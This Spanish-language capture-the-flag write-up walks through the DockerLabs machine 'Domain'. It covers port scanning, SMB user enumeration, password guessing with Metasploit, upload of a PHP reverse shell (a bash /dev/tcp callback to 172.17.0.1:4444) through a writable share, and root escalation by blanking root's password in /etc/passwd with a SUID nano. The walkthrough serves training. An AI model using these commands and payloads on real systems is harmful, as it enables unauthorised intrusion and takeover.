> For the complete documentation index, see [llms.txt](https://novahacking.gitbook.io/anonymous17/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://novahacking.gitbook.io/anonymous17/ctf/dockerlabs/domain.md). # Domain TAG -> Dockerlabs | CTF

Datos

* **Máquina** -> Domain * **Dificultad** -> Medio * **Creador** -> [El Pingüino de Mario](https://www.youtube.com/channel/UCGLfzfKRUsV6BzkrF1kJGsg)

Una vez desplegado el laboratorio, comenzaré comprobando la conectividad con la máquina objetivo **`172.17.0.2`** mediante `ping`. La opción `-R` solicita registrar la ruta en paquetes IPv4, aunque su funcionamiento depende de los dispositivos de red: ```bash ping -c 1 172.17.0.2 -R ``` **Resultado** ```bash PING 172.17.0.2 (172.17.0.2) 56(124) bytes of data. 64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.114 ms RR: 172.17.0.1 172.17.0.2 172.17.0.2 172.17.0.1 --- 172.17.0.2 ping statistics --- 1 packets transmitted, 1 received, 0% packet loss, time 0ms rtt min/avg/max/mdev = 0.114/0.114/0.114/0.000 ms ``` La máquina responde sin pérdida de paquetes y el **TTL observado es 64**. Este valor resulta compatible con configuraciones habituales de Linux, pero **no permite identificar el sistema operativo de forma concluyente**, ya que depende del TTL inicial y de los saltos recorridos. Después de organizar los archivos del laboratorio con mi función `mkt`, realizaré un escaneo inicial mediante mi herramienta escrita en **Python**: ```bash PortScanner -i 172.17.0.2 -t 1000 -s 2 -a V C ``` **Resultado** ```js [+] Autor: Anonymous17 [+] Targeted: 172.17.0.2 [+] (TTL -> 64): Linux [!] Escaneo de puertos (socket): [!] Puerto 80 abierto! [!] Puerto 139 abierto! [!] Puerto 445 abierto! [+] Port: 1000 / 1000 [+] Lista de puertos abiertos: [80, 139, 445] [+] Información de servicios y versiones: [+] 80/tcp http Apache httpd 2.4.52 ((Ubuntu)) [+] 139/tcp netbi os-ssn Samba smbd 4 [+] 445/tcp netbi os-ssn Samba smbd 4 [+] Comprobando vulnerabilidades: [+] Tecnologías detectadas en HTTP: http://172.17.0.2:80 [200 OK] Apache[2.4.52], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.52 (Ubuntu)], IP[172.17.0.2], Title[¿Qué es Samba?], [*] Evidencia guardada en output.txt ``` El escaneo identifica **tres puertos TCP abiertos: 80, 139 y 445**. El primero corresponde al servicio HTTP y los otros dos están relacionados con **NetBIOS/SMB**, atendidos aquí por **Samba**. Esta combinación sugiere que la enumeración de recursos compartidos será importante, pero primero ampliaré la información con **Nmap** sobre todos los puertos TCP. ```bash nmap -p- --open -sS --min-rate 5000 -n -Pn 172.17.0.2 -oG allPorts.txt ``` **Resultado** ```js Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-30 12:56 EST Nmap scan report for 172.17.0.2 Host is up (0.0000030s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE 80/tcp open http 139/tcp open netbios-ssn 445/tcp open microsoft-ds MAC Address: 02:42:AC:11:00:02 (Unknown) Nmap done: 1 IP address (1 host up) scanned in 0.65 seconds ``` Utilizaré mi función **`extractPorts`** para extraer la IP y la lista de puertos abiertos del archivo generado por Nmap. Esto ayuda a reutilizar los resultados en los siguientes comandos. ```js extractPorts allPorts.txt ``` **Resultado** ```js ───────┬────────────────────────────────────────────────────────────── │ File: extractPorts.tmp ───────┼────────────────────────────────────────────────────────────── 1 │ 2 │ [*] Extracting information... 3 │ 4 │ [*] IP Address: 172.17.0.2 5 │ [*] Open ports: 80,139,445 6 │ 7 │ [*] Ports copied to clipboard 8 │ ───────┴────────────────────────────────────────────────────────────── ``` Ahora ejecutaré un escaneo dirigido a **80, 139 y 445** con detección de versiones (`-sV`) y scripts predeterminados (`-sC`), para recopilar detalles de Apache y Samba. ```bash nmap -p 80,139,445 -sCV 172.17.0.2 -oN targeted.txt ``` **Resultado** ```js Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-30 12:59 EST Nmap scan report for buffered.dl (172.17.0.2) Host is up (0.000028s latency). PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.52 ((Ubuntu)) |_http-title: \xC2\xBFQu\xC3\xA9 es Samba? |_http-server-header: Apache/2.4.52 (Ubuntu) 139/tcp open netbios-ssn Samba smbd 4 445/tcp open netbios-ssn Samba smbd 4 MAC Address: 02:42:AC:11:00:02 (Unknown) Host script results: | smb2-security-mode: | 3:1:1: |_ Message signing enabled but not required | smb2-time: | date: 2025-01-30T17:59:42 |_ start_date: N/A Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 17.15 seconds ``` La salida de Nmap muestra el nombre **`buffered.dl`** asociado a `172.17.0.2`, aunque este laboratorio se llama **Domain**. Esto podría deberse a la resolución local de nombres (por ejemplo, una entrada previa en `/etc/hosts`); **no cambia la IP efectivamente escaneada**, pero conviene verificar esa asociación. La página web muestra el siguiente contenido:

La aplicación presenta información introductoria sobre **Samba**, lo que coincide con los puertos SMB encontrados. Nmap también informa de que la **firma SMB está habilitada, pero no es obligatoria**; esta configuración merece documentarse, aunque no constituye por sí sola una explotación confirmada. Continuaré con la enumeración de recursos compartidos para comprobar qué información expone el servicio.

En esta primera comprobación aparecen los nombres de algunos recursos compartidos, pero no encuentro todavía un archivo útil para avanzar. Los permisos de enumeración y acceso dependen de la configuración de Samba, por lo que **no debemos asumir que siempre se requieren credenciales para listar recursos**. Probaré ahora **`rpcclient`** para obtener más información.

La enumeración realizada con **`rpcclient`** devuelve dos nombres de usuario que podrían ser relevantes para la autenticación SMB: * **james** * **bob** Todavía no dispongo de las contraseñas de **`james`** y **`bob`**. En este laboratorio probaré credenciales mediante el módulo correspondiente de **Metasploit (`msfconsole`)**. La enumeración de cuentas no implica que los usuarios tengan contraseñas débiles; eso debe comprobarse con las pruebas posteriores.

Configuraré las opciones del módulo con el objetivo y los parámetros mostrados en la captura:

Una vez configurado el módulo, iniciaré la comprobación con **`run`** y revisaré los resultados para distinguir intentos fallidos de autenticaciones válidas.

El resultado permite identificar una combinación válida para el laboratorio: **usuario `bob` y contraseña `star`**. Con esas credenciales continuaré enumerando los permisos sobre los recursos SMB mediante **`smbmap`**:

Ahora podemos comprobar a qué recursos tiene acceso **`bob`** y con qué permisos. El recurso compartido **`html`** resulta interesante porque parece corresponder al contenido de la aplicación web. Lo enumeraré para confirmar los archivos disponibles y sus permisos de lectura o escritura.

Entre los archivos aparece **`index.html`**, compatible con la página observada en el navegador. Si el recurso **`html`** corresponde al directorio servido por Apache y el usuario autenticado dispone de escritura, podría ser posible colocar archivos allí. En este laboratorio comprobaremos si el servidor **interpreta PHP** subiendo un archivo de prueba para establecer una \[\[Reverse Shells]]. La capacidad de escritura SMB, por sí sola, **no garantiza ejecución de PHP**: ambas condiciones deben verificarse. **Contenido de rshell.php** {% code lineNumbers="true" %} ```php & /dev/tcp/172.17.0.1/4444 0>&1'"); ?> ``` {% endcode %}

Tras preparar el archivo **`rshell.php`**, utilizaré **`smbmap`** para comprobar que la subida al recurso compartido se completó correctamente.

Una vez confirmada la subida, prepararé un listener en mi equipo en el **puerto 4444** y solicitaré **`http://172.17.0.2/rshell.php`** desde el navegador. La sesión recibida permite verificar que, en este laboratorio, el archivo escrito a través de SMB se encuentra en una ruta ejecutada por el servidor web.

La conexión inicial ofrece una shell limitada. Para mejorar su interacción, aplicaré el tratamiento habitual de la **TTY**: iniciaré `bash` mediante `script`, suspenderé temporalmente el listener, ajustaré el modo de la terminal local y recuperaré el primer plano. Es importante ejecutar cada paso en **la terminal correspondiente**, tal como indican los comentarios conservados en la salida. ```bash www-data@ec127a5c798d:/var/www/html$ script /dev/null -c bash # shell victima script /dev/null -c bash Script started, output log file is '/dev/null'. www-data@ec127a5c798d:/var/www/html$ ^Z # shell victima -> Ctrl + Z [1] + 3363322 suspended nc -nlvp 4444 --> exploitDB stty raw -echo;fg # En nuestra shell [1] + 3363322 continued nc -nlvp 4444 reset xterm # Receteamos la terminal ``` Después ajustaré las dimensiones de la terminal y algunas variables de entorno para facilitar el uso de **Bash** y mejorar la presentación. El archivo `/etc/skel/.bashrc` utilizado en el ejemplo puede no existir o no ser adecuado en otros sistemas; su carga es opcional y depende del entorno. ```bash stty rows 46 cols 168 && export TERM=xterm-256color SHELL=bash && source /etc/skel/.bashrc ``` Los valores de **`stty rows`** y **`cols`** deben corresponder a las dimensiones de nuestra terminal, que podemos consultar con el siguiente comando: ```bash stty size ``` En mi prueba, `stty size` devolvió **`45 166`**. El comando anterior utiliza **`46 168`** como ejemplo; conviene sustituirlo por los valores medidos cuando queramos que el tamaño coincida exactamente. Al enumerar el sistema encuentro los directorios personales de **`bob`** y **`james`**, los mismos nombres descubiertos durante la enumeración de Samba. Como ya comprobamos las credenciales de `bob` en este laboratorio, intentaré cambiar a ese usuario mediante **`su`** para continuar con sus permisos. ```js www-data@ec127a5c798d:/var/www/html$ cd /home/ www-data@ec127a5c798d:/home$ ls bob james www-data@ec127a5c798d:/home$ su bob Password: bob@ec127a5c798d:/home$ whoami bob bob@ec127a5c798d:/home$ ``` En el contenedor no encuentro **`sudo`** instalado, así que continuaré enumerando ejecutables con el bit **SUID** establecido y cuyo propietario sea **root**. Este bit permite ejecutar un programa con el UID efectivo de su propietario, pero **no significa que cualquier binario SUID otorgue automáticamente una shell root**. ```bash find / -perm -4000 -user root 2>/dev/null | xargs ls -l ``` **Resultado** ```js -rwsr-xr-x 1 root root 72712 Feb 6 2024 /usr/bin/chfn -rwsr-xr-x 1 root root 44808 Feb 6 2024 /usr/bin/chsh -rwsr-xr-x 1 root root 72072 Feb 6 2024 /usr/bin/gpasswd -rwsr-xr-x 1 root root 47480 Feb 21 2022 /usr/bin/mount -rwsr-xr-x 1 root root 283144 Feb 19 2022 /usr/bin/nano -rwsr-xr-x 1 root root 40496 Feb 6 2024 /usr/bin/newgrp -rwsr-xr-x 1 root root 59976 Feb 6 2024 /usr/bin/passwd -rwsr-xr-x 1 root root 55672 Feb 21 2022 /usr/bin/su -rwsr-xr-x 1 root root 35192 Feb 21 2022 /usr/bin/umount -rwsr-xr-- 1 root messagebus 35112 Oct 25 2022 /usr/lib/dbus-1.0/dbus-daemon-launch-helper ``` El resultado muestra que **`/usr/bin/nano`** pertenece a `root` y tiene habilitado el bit **SUID**, algo inusual para un editor de texto. Este detalle merece investigarse, porque en el laboratorio podría permitir editar archivos protegidos con el UID efectivo de root. La posibilidad real depende del comportamiento del ejecutable y de los permisos aplicados. Probaré a abrir **`/etc/passwd`**: **Ejecutamos** ```js /usr/bin/nano /etc/passwd ``` En la prueba documentada se elimina la **`x`** del campo de contraseña de la cuenta `root`, dejando **`root::0:0:root:/root:/bin/bash`**. Esto representa un **campo de contraseña vacío en `/etc/passwd`**, no una modificación de la contraseña almacenada en `/etc/shadow`. El fragmento mostrado contiene únicamente las primeras entradas a modo de ejemplo: **no debemos borrar el resto de usuarios ni reemplazar todo el archivo por esas tres líneas**. La autenticación sin contraseña depende también de PAM y de la configuración del sistema. ```js root::0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin ``` Guardo el cambio en Nano mediante **Ctrl + O**, confirmo con **Enter** y salgo. A continuación pruebo **`su root`** y compruebo el resultado con **`whoami`** e **`id`**. La salida conservada demuestra que esta técnica permitió obtener **UID 0** en el entorno del CTF; no debe asumirse que funcionará de igual manera en cualquier distribución de Linux. ```js bob@ec127a5c798d:~$ /usr/bin/nano /etc/passwd bob@ec127a5c798d:~$ su root root@ec127a5c798d:/home/bob# whoami root root@ec127a5c798d:/home/bob# id uid=0(root) gid=0(root) groups=0(root) root@ec127a5c798d:/home/bob# cd root@ec127a5c798d:~# ``` Con estas comprobaciones concluye la resolución de **Domain**, una máquina de **DockerLabs** en la que la enumeración de SMB permitió identificar credenciales, acceder con escritura a un recurso servido por la web y, finalmente, aprovechar una configuración insegura de **Nano con SUID** para escalar privilegios.